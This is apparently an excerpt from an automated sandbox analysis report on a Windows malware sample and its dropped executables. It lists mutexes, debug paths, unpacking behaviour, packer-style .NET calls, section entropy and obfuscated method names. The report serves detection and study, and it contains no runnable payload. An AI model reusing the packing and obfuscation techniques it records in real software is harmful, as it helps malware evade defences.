Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5580:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6028:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5328:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4560:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6924
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7020:64:WilError_01

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: 0.0	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: hijaduvinijebup	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: mocisacatenu	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: wapejan	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: wovag	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: cbH	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: Piruvora	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: gukafipa	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: mawecamaxe	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: Hiwejanoji	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: Pusazide	0_2_00419EB2
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Command line argument: hukujid	0_2_00419EB2
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Command line argument: cbH	29_2_0041A0DA
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Command line argument: cbH	29_2_0041A0DA

Source: 8017.exe.5.dr, Univesity_Grade_Calculator/Form1.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3BC6.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3BC6.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.0.3BC6.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.0.3BC6.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.0.3BC6.exe.650000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.0.3BC6.exe.650000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.2.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.2.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.0.3BC6.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 30.0.3BC6.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\B1B2.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: OG9rNsihJ7.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: OG9rNsihJ7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: OG9rNsihJ7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: OG9rNsihJ7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: OG9rNsihJ7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: OG9rNsihJ7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: OG9rNsihJ7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: OG9rNsihJ7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb( source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355319445.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355100434.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355041486.000000000541B000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355698589.0000000003678000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: C:\xore salafoyukumabu3\ra.pdb source: 254E.exe, 0000001C.00000000.351672177.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355300183.0000000003672000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.356247461.0000000003672000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: AC:\xore salafoyukumabu3\ra.pdbh source: 254E.exe, 0000001C.00000000.351672177.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: [+C:\mubinidefup56_bum.pdbh source: OG9rNsihJ7.exe, 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000000.00000000.231517264.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000001.00000000.236309691.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000000.326118526.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000002.333467369.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000013.00000000.329837112.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000002.355073966.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000000.344254452.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000018.00000000.351452912.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: C:\mubinidefup56_bum.pdb source: OG9rNsihJ7.exe, OG9rNsihJ7.exe, 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000000.00000000.231517264.0000000000401000.00000020.00020000.sdmp, OG9rNsihJ7.exe, 00000001.00000000.236309691.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000000.326118526.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000012.00000002.333467369.0000000000401000.00000020.00020000.sdmp, vfgiwcs, 00000013.00000000.329837112.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000002.355073966.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000016.00000000.344254452.0000000000401000.00000020.00020000.sdmp, BFBD.exe, 00000018.00000000.351452912.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdbv source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000001A.00000003.355300183.0000000003672000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.356247461.0000000003672000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: B1B2.exe, 00000014.00000000.334478486.0000000000413000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.343212792.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: /C:\vofihewakizabu\tesuvahatu\woru.pdbh source: 3136.exe, 0000001D.00000000.359623622.0000000000401000.00000020.00020000.sdmp, 3136.exe, 0000001D.00000002.381021289.00000000008F9000.00000004.00000001.sdmp, xqfkdfcl.exe, 0000002A.00000000.380594981.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: fltLib.pdbr source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbt source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdbV source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb\ source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbZ source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb" source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbura source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: C:\vofihewakizabu\tesuvahatu\woru.pdb source: 3136.exe, 0000001D.00000000.359623622.0000000000401000.00000020.00020000.sdmp, 3136.exe, 0000001D.00000002.381021289.00000000008F9000.00000004.00000001.sdmp, xqfkdfcl.exe, 0000002A.00000000.380594981.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001A.00000003.361136768.0000000005917000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001A.00000003.361114549.0000000005910000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000001A.00000003.355319445.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355100434.0000000003678000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.355698589.0000000003678000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001A.00000003.361098362.0000000005731000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: B1B2.exe, 00000014.00000000.334478486.0000000000413000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.343212792.0000000000413000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Unpacked PE file: 28.2.254E.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Unpacked PE file: 29.2.3136.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Unpacked PE file: 42.2.xqfkdfcl.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Unpacked PE file: 28.2.254E.exe.400000.0.unpack .text:ER;.data:W;.wuxut:W;.tijayu:W;.zemoyi:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Unpacked PE file: 29.2.3136.exe.400000.0.unpack .text:ER;.data:W;.yocinoj:W;.lebe:W;.wuno:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Unpacked PE file: 42.2.xqfkdfcl.exe.400000.0.unpack .text:ER;.data:W;.yocinoj:W;.lebe:W;.wuno:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains potential unpacker

Show sources

Source: 8017.exe.5.dr, Univesity_Grade_Calculator/Form1.cs	.Net Code: Form1_Load System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 2F32.exe.5.dr, CoreApi.cs	.Net Code: Start System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 3BC6.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.0.3BC6.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.0.3BC6.exe.650000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.2.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.0.3BC6.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.0.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 45.0.3BC6.exe.3c0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_005F3634 push es; iretd	0_2_005F3640
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 18_2_00643634 push es; iretd	18_2_00643640
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00401880 push esi; iretd	19_2_00401893
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00402E94 push es; iretd	19_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_00412CA4 push eax; ret	20_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0207123C push edi; iretd	20_2_020712AA
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0207127E push edi; iretd	20_2_020712AA
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0207735E push esp; iretd	20_2_0207735F
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_020753C8 pushfd ; retf	20_2_020753D3
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 22_2_009003D8 push esi; ret	22_2_00900453
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 22_2_0090043D push esi; ret	22_2_00900453
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00401880 push esi; iretd	24_2_00401893
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00402E94 push es; iretd	24_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_00402E94 push es; iretd	24_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004139B0 push eax; ret	28_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006D3C00 push eax; ret	28_2_006D3C2E
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_0042C248 push esp; retn 0042h	29_2_0042C249
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_008EDE68 push 0000002Bh; iretd	29_2_008EDE6E
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_008EB672 push ds; ret	29_2_008EB673
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_00658508 push 00000028h; retf 0000h	30_2_0065850D
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_0065764A push esp; ret	30_2_0065764B
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_02954003 push esi; retf	30_2_0295400F
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FACF78 pushfd ; retf	30_2_04FACF79
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FACF3A pushad ; retf	30_2_04FACF39
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FACF38 pushad ; retf	30_2_04FACF39

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Code function: 0_2_00435870 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_00435870

Source: 54AF.exe.5.dr

Static PE information: 0xAB35ADD6 [Sat Jan 8 14:57:26 2061 UTC]

Source: OG9rNsihJ7.exe	Static PE information: section name: .zafif
Source: OG9rNsihJ7.exe	Static PE information: section name: .naladin
Source: OG9rNsihJ7.exe	Static PE information: section name: .ger
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name: .28gybOo
Source: 3A7E.exe.5.dr	Static PE information: section name: .adata
Source: 54AF.exe.5.dr	Static PE information: section name: .didata
Source: 6AF7.exe.5.dr	Static PE information: section name: _RDATA
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name: .kujN2o2
Source: 7808.exe.5.dr	Static PE information: section name: .adata
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name: .wZtCyLX
Source: 9789.exe.5.dr	Static PE information: section name: .adata
Source: BFBD.exe.5.dr	Static PE information: section name: .zafif
Source: BFBD.exe.5.dr	Static PE information: section name: .naladin
Source: BFBD.exe.5.dr	Static PE information: section name: .ger
Source: 254E.exe.5.dr	Static PE information: section name: .wuxut
Source: 254E.exe.5.dr	Static PE information: section name: .tijayu
Source: 254E.exe.5.dr	Static PE information: section name: .zemoyi
Source: 3136.exe.5.dr	Static PE information: section name: .yocinoj
Source: 3136.exe.5.dr	Static PE information: section name: .lebe
Source: 3136.exe.5.dr	Static PE information: section name: .wuno
Source: 2473.exe.5.dr	Static PE information: section name: _RDATA
Source: vfgiwcs.5.dr	Static PE information: section name: .zafif
Source: vfgiwcs.5.dr	Static PE information: section name: .naladin
Source: vfgiwcs.5.dr	Static PE information: section name: .ger
Source: xqfkdfcl.exe.29.dr	Static PE information: section name: .yocinoj
Source: xqfkdfcl.exe.29.dr	Static PE information: section name: .lebe
Source: xqfkdfcl.exe.29.dr	Static PE information: section name: .wuno

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: 2F32.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x1298c
Source: 3BC6.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: 88E2.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x16c4f5
Source: 9789.exe.5.dr	Static PE information: real checksum: 0x374ffe should be: 0x376ae8
Source: 7808.exe.5.dr	Static PE information: real checksum: 0x373823 should be: 0x3738f9
Source: 3A7E.exe.5.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654

Source: initial sample	Static PE information: section name: .text entropy: 6.96452184589
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: entropy: 7.99715248044
Source: initial sample	Static PE information: section name: entropy: 7.90789134233
Source: initial sample	Static PE information: section name: entropy: 7.99431797903
Source: initial sample	Static PE information: section name: entropy: 7.81839424264
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22755578232
Source: initial sample	Static PE information: section name: .kujN2o2 entropy: 7.91856580958
Source: initial sample	Static PE information: section name: entropy: 7.99718008782
Source: initial sample	Static PE information: section name: entropy: 7.90089759273
Source: initial sample	Static PE information: section name: entropy: 7.99420883161
Source: initial sample	Static PE information: section name: entropy: 7.81503956549
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.2242765671
Source: initial sample	Static PE information: section name: .wZtCyLX entropy: 7.91808927088
Source: initial sample	Static PE information: section name: .text entropy: 6.96452184589
Source: initial sample	Static PE information: section name: .text entropy: 6.982589812
Source: initial sample	Static PE information: section name: .text entropy: 6.96652464212
Source: initial sample	Static PE information: section name: .text entropy: 6.96452184589
Source: initial sample	Static PE information: section name: .text entropy: 6.96652464212

Source: 3BC6.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 3BC6.exe.5.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 30.0.3BC6.exe.650000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 30.0.3BC6.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.3BC6.exe.650000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.3BC6.exe.650000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
